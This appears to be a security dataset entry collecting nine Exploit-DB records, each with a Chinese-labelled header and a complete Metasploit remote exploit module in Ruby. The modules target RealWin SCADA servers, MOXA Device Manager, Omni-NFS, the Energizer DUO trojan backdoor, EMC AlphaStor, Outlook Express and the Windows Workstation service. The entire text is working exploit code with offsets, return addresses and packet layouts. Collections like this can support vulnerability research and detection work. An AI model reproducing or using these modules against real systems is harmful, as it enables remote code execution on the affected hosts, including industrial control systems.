QLWD/code_shield huggingface dataset:
标题: DATAC RealWin SCADA Server - Remote Buffer Overflow (Metasploit) EDB-ID: 16385 CVE: 2008-4322 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: realwin.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'DATAC RealWin SCADA Server Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in DATAC Control
    International RealWin SCADA Server 2.0 (Build 6.0.10.37).
    By sending a specially crafted FC_INFOTAG/SET_CONTROL packet,
    an attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2008-4322' ],
     [ 'OSVDB', '48606' ],
     [ 'BID', '31418' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 550,
     'BadChars' => "\x00\x20\x0a\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Universal', { 'Offset' => 740, 'Ret' => 0x4001e2a9 } ], # Thanks Jacopo!
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Sep 26 2008'))

  register_options([Opt::RPORT(910)], self.class)
 end

 def exploit
  connect

  data =  [0x67542310].pack('V')
  data << [0x00000800].pack('V')
  data << [0x000a77e3].pack('V')
  data << [0x00040005].pack('V')
  data << "\x00\x00"
  data << make_nops(target['Offset'])
  data << [target.ret].pack('V')
  data << [0x00404040].pack('V')
  data << payload.encoded
  data << make_nops(1024)

  print_status("Trying target #{target.name}...")
  sock.get_once
  sock.put(data)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16385
标题: MOXA Device Manager Tool 2.1 - Remote Buffer Overflow (Metasploit) EDB-ID: 16381 CVE: 2010-4741 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-14 漏洞利用脚本: ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = GreatRanking

  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MOXA Device Manager Tool 2.1 Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in MOXA MDM Tool 2.1.
        When sending a specially crafted MDMGw (MDM2_Gateway) response, an
        attacker may be able to execute arbitrary code.
      },
      'Author'         => [ 'Ruben Santamarta', 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-4741'],
          [ 'OSVDB', '69027'],
          [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ],
          [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-301-01A.pdf' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'MOXA MDM Tool 2.1', { 'Ret' => 0x1016bca7 } ], # UTU.dll / keeping the rop version for me...
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 20 2010',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ])
      ], self.class)
  end

  def on_client_connect(client)

    return if ((p = regenerate_payload(client)) == nil)

    client.get_once

    sploit = rand_text_alpha_upper(18024)

    sploit[0, 4] = [0x29001028].pack('V')
    sploit[472, payload.encoded.length] = payload.encoded
    sploit[1072, 8] = generate_seh_record(target.ret)
    sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-550").encode_string

    client.put(sploit)

    handler(client)

    service.close_client(client)

  end
end URL: https://www.exploit-db.com/exploits/16381
标题: Omni-NFS Server - Remote Buffer Overflow (Metasploit) EDB-ID: 16389 CVE: 2006-5780 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-11 漏洞利用脚本: ##
# $Id: xlink_nfsd.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Omni-NFS Server Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Xlink Omni-NFS Server 5.2
    When sending a specially crafted nfs packet, an attacker may be able
    to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 10998 $',
   'References'     =>
    [
     [ 'CVE', '2006-5780' ],
     [ 'OSVDB', '30224'],
     [ 'BID', '20941' ],
     [ 'URL', 'http://www.securityfocus.com/data/vulnerabilities/exploits/omni-nfs-server-5.2-stackoverflow.pm' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 336,
     'BadChars' => "\x00",
     'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 SP4 English',     { 'Ret' => 0x0040bb2e } ],
    ],
   'Privileged'     => true,
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Nov 06 2006'))

  register_options([Opt::RPORT(2049)], self.class)
 end

 def exploit
  connect

  buff =  payload.encoded
  buff << Rex::Arch::X86.jmp_short(6) + rand_text_english(2)
  buff << [target.ret].pack('V')
  buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-330").encode_string
  buff << rand_text_english(251)

  pkt =  [1].pack('N')
  pkt << [0].pack('N')
  pkt << [2].pack('N')
  pkt << [100005].pack('N')
  pkt << [1].pack('N')
  pkt << [1].pack('N')
  pkt << [1].pack('N')
  pkt << [400].pack('N')
  pkt << buff[0,400]
  pkt << [1].pack('N')
  pkt << [400].pack('N')
  pkt << buff[300,400]

  sploit = [pkt.length | 0x80000000].pack('N') + pkt

  print_status("Trying target #{target.name}...")
  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16389
标题: Arugizer Trojan Horse (Energizer DUO) - Code Execution (Metasploit) EDB-ID: 16390 CVE: 2010-0103 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: energizer_duo_payload.rb 10389 2010-09-20 04:38:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Energizer DUO Trojan Code Execution',
   'Description'    => %q{
     This module will execute an arbitrary payload against
    any system infected with the Arugizer trojan horse. This
    backdoor was shipped with the software package accompanying
    the Energizer Duo USB battery charger.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10389 $',
   'References'     =>
    [
     ['CVE', '2010-0103'],
     ['OSVDB', '62782'],
     ['US-CERT-VU', '154421']
    ],
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Mar 05 2010'
   ))


  register_options(
   [
    Opt::RPORT(7777),
   ], self.class)
 end

 def trojan_encode(str)
  str.unpack("C*").map{|c| c ^ 0xE5}.pack("C*")
 end

 def trojan_command(cmd)
  cid = ""

  case cmd
  when :exec
   cid = "{8AF1C164-EBD6-4b2b-BC1F-64674E98A710}"
  when :dir
   cid = "{0174D2FC-7CB6-4a22-87C7-7BB72A32F19F}"
  when :write
   cid = "{98D958FC-D0A2-4f1c-B841-232AB357E7C8}"
  when :read
   cid = "{F6C43E1A-1551-4000-A483-C361969AEC41}"
  when :nop
   cid = "{783EACBF-EF8B-498e-A059-F0B5BD12641E}"
  when :find
   cid = "{EA7A2EB7-1E49-4d5f-B4D8-D6645B7440E3}"
  when :yes
   cid = "{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}"
  when :runonce
   cid = "{384EBE2C-F9EA-4f6b-94EF-C9D2DA58FD13}"
  when :delete
   cid = "{4F4F0D88-E715-4b1f-B311-61E530C2C8FC}"
  end

  trojan_encode(
   [cid.length + 1].pack("V") + cid  + "\x00"
  )
 end

 def exploit

  nam = "C:\\" + Rex::Text.rand_text_alphanumeric(12) + ".exe" + "\x00"
  exe = generate_payload_exe + "\x00"


  print_status("Trying to upload #{nam}...")
  connect

  # Write file request
  sock.put(trojan_command(:write))
  sock.put(trojan_encode([nam.length].pack("V")))
  sock.put(trojan_encode(nam))
  sock.put(trojan_encode([exe.length].pack("V")))
  sock.put(trojan_encode(exe))

  # Required to prevent the server from spinning a loop
  sock.put(trojan_command(:nop))

  disconnect

  #
  # Execute the payload
  #

  print_status("Trying to execute #{nam}...")

  connect

  # Execute file request
  sock.put(trojan_command(:exec))
  sock.put(trojan_encode([nam.length].pack("V")))
  sock.put(trojan_encode(nam))

  # Required to prevent the server from spinning a loop
  sock.put(trojan_command(:nop))

  disconnect
 end
end URL: https://www.exploit-db.com/exploits/16390
标题: DATAC RealWin SCADA Server 2.0 (Build 6.1.8.10) - SCPC_INITIALIZE_RF Buffer Overflow (Metasploit) EDB-ID: 16383 CVE: 2010-4142 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-30 漏洞利用脚本: ##
# $Id: realwin_scpc_initialize_rf.rb 11180 2010-11-30 20:19:18Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'DATAC RealWin SCADA Server SCPC_INITIALIZE_RF Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in DATAC Control
    International RealWin SCADA Server 2.0 (Build 6.1.8.10).
    By sending a specially crafted packet, an attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'Luigi Auriemma', 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11180 $',
   'References'     =>
    [
     [ 'OSVDB', '68812' ],
     [ 'CVE', '2010-4142' ],
     [ 'URL', 'http://aluigi.altervista.org/adv/realwin_1-adv.txt' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 550,
     'BadChars' => "\x00\x20\x0a\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Universal', { 'Ret' => 0x4002da21 } ], # FlexMLang.DLL 8.1.45.19
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Oct 15 2010'))

  register_options([Opt::RPORT(912)], self.class)
 end

 def exploit

  connect

  data =  [0x6a541264].pack('V')
  data << [0x00000020].pack('V')
  data << [0x00001ff4].pack('V')
  data << rand_text_alpha_upper(228)
  data << generate_seh_payload(target.ret)
  data << rand_text_alpha_upper(10024 - payload.encoded.length)
  data << "\x00" 

  print_status("Trying target #{target.name}...")
  sock.put(data)

  handler
  disconnect

 end

end URL: https://www.exploit-db.com/exploits/16383
标题: DATAC RealWin SCADA Server 2.0 (Build 6.1.8.10) - SCPC_INITIALIZE Buffer Overflow (Metasploit) EDB-ID: 16382 CVE: 2010-4142 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-30 漏洞利用脚本: ##
# $Id: realwin_scpc_initialize.rb 11180 2010-11-30 20:19:18Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'DATAC RealWin SCADA Server SCPC_INITIALIZE Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in DATAC Control
    International RealWin SCADA Server 2.0 (Build 6.1.8.10).
    By sending a specially crafted packet, an attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'Luigi Auriemma', 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11180 $',
   'References'     =>
    [
     [ 'OSVDB', '68812' ],
     [ 'CVE', '2010-4142' ],
     [ 'URL', 'http://aluigi.altervista.org/adv/realwin_1-adv.txt' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 550,
     'BadChars' => "\x00\x20\x0a\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Universal', { 'Ret' => 0x4002da21 } ], # FlexMLang.DLL 8.1.45.19
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Oct 15 2010'))

  register_options([Opt::RPORT(912)], self.class)
 end

 def exploit

  connect

  data =  [0x6a541264].pack('V')
  data << [0x00000002].pack('V')
  data << [0x00001ff4].pack('V')
  data << rand_text_alpha_upper(228)
  data << generate_seh_payload(target.ret)
  data << rand_text_alpha_upper(10024 - payload.encoded.length)
  data << "\x00" 

  print_status("Trying target #{target.name}...")
  sock.put(data)

  handler
  disconnect

 end

end URL: https://www.exploit-db.com/exploits/16382
标题: EMC AlphaStor Agent - Remote Buffer Overflow (Metasploit) EDB-ID: 16391 CVE: 2008-2158 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: alphastor_agent.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'EMC AlphaStor Agent Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in EMC AlphaStor 3.1.
    By sending a specially crafted message, an attacker may
    be able to execute arbitrary code.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2008-2158' ],
     [ 'OSVDB', '45714' ],
     [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=702' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process', # one-shot overwrite.
    },
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'EMC AlphaStor 3.1', { 'Ret' => 0x65153fe0 } ], # dblib9.dll 9.0.1.1975
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'May 27 2008',
   'DefaultTarget' => 0))

  register_options([Opt::RPORT(41025)], self.class)
 end

 def exploit
  connect

  # overwrite via: ascli.exe asopmsg "long_buff"
  uno = [0x0000000b].pack('V')
  sock.put(uno)

  dos =  rand_text_alpha_upper(3) + "@" + rand_text_alpha_upper(6) + "\x00"
  sock.put(dos)

  tres = [0x00000004].pack('V')
  sock.put(tres)

  quatro = [0x0000001b].pack('V')
  sock.put(quatro)

  cinco = [0x0000047c].pack('V')
  sock.put(cinco)

  data =  make_nops(827 - payload.encoded.length) + payload.encoded
  data << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
  data << make_nops(8) + [0xe8, -750].pack('CV') + rand_text_alpha_upper(500) + "\x00"

  print_status("Trying target #{target.name}...")
  sock.put(data)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16391
标题: Microsoft Outlook Express - NNTP Response Parsing Buffer Overflow (MS05-030) (Metasploit) EDB-ID: 16379 CVE: 2005-1213 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: ms05_030_nntp.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::TcpServer
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft Outlook Express NNTP Response Parsing Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the news reader of Microsoft
    Outlook Express.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2005-1213' ],
     [ 'OSVDB', '17306' ],
     [ 'BID', '13951' ],
     [ 'MSB', 'MS05-030' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "\x00",
     'MaxNops'  => 0,
     'StackAdjustment' => -3500,
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows 2000 English SP0-SP4', { 'Offset' => 9624, 'Ret' => 0x75022ac4 }],
     ['Windows XP English SP0/SP1',   { 'Offset' => 9596, 'Ret' => 0x71aa2461 }],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jun 14 2005',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The NNTPServer daemon port to listen on", 119 ])
   ], self.class)
 end

 def on_client_connect(client)
  yup = "200\r\n"

  client.put(yup)
  client.put(yup)
 end

 def on_client_data(client)
  return if ((p = regenerate_payload(client)) == nil)

  filler =  "215 list\r\n" + "group "
  filler << rand_text_english(target['Offset'])
  seh    =  generate_seh_payload(target.ret)
  sploit =  filler + seh + " 1 y\r\n\.\r\n"

  print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
  client.put(sploit)

  handler
  service.close_client(client)
 end

end URL: https://www.exploit-db.com/exploits/16379
标题: Microsoft Workstation Service - NetAddAlternateComputerName Overflow (MS03-049) (Metasploit) EDB-ID: 16378 CVE: 2003-0812 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: ms03_049_netapi.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::DCERPC
 include Msf::Exploit::Remote::SMB

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft Workstation Service NetAddAlternateComputerName Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the NetApi32 NetAddAlternateComputerName
    function using the Workstation service in Windows XP.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2003-0812' ],
     [ 'OSVDB', '11461' ],
     [ 'BID', '9011' ],
     [ 'MSB', 'MS03-049' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' =>  "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'DefaultTarget'  => 0,
   'Targets'        =>
    [
     [ 'Windows XP SP0/SP1',
      {
       'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll
      }
     ],
    ],
   'DisclosureDate' => 'Nov 11 2003'))

  register_options(
   [
    OptString.new('SMBPIPE', [ true,  "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),
   ], self.class)
 end

 def exploit

  connect()
  smb_login()

  handle = dcerpc_handle(
   '6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
   'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
  )

  print_status("Binding to #{handle} ...")
  dcerpc_bind(handle)
  print_status("Bound to #{handle} ...")

  print_status("Building the stub data...")


  name = rand_text_alphanumeric(5000)
  name[3496, 4] = [target.ret].pack('V')
  name[3492, 2] = "\xeb\x06"
  name[3500, 5] = "\xe9" + [-3505].pack('V')
  name[0, payload.encoded.length] = payload.encoded

  stub =
   NDR.long(rand(0xffffffff)) +
   NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
   NDR.long(rand(0xffffffff)) +
   NDR.UnicodeConformantVaryingString(name) +
   NDR.long(rand(0xffffffff)) +
   NDR.UnicodeConformantVaryingString('') +
   NDR.long(0) +
   NDR.long(0)

  print_status("Calling the vulnerable function...")

  begin
   dcerpc.call(0x1b, stub)
  rescue Rex::Proto::DCERPC::Exceptions::NoResponse
  rescue => e
   if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
    raise e
   end
  end

  # Cleanup
  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16378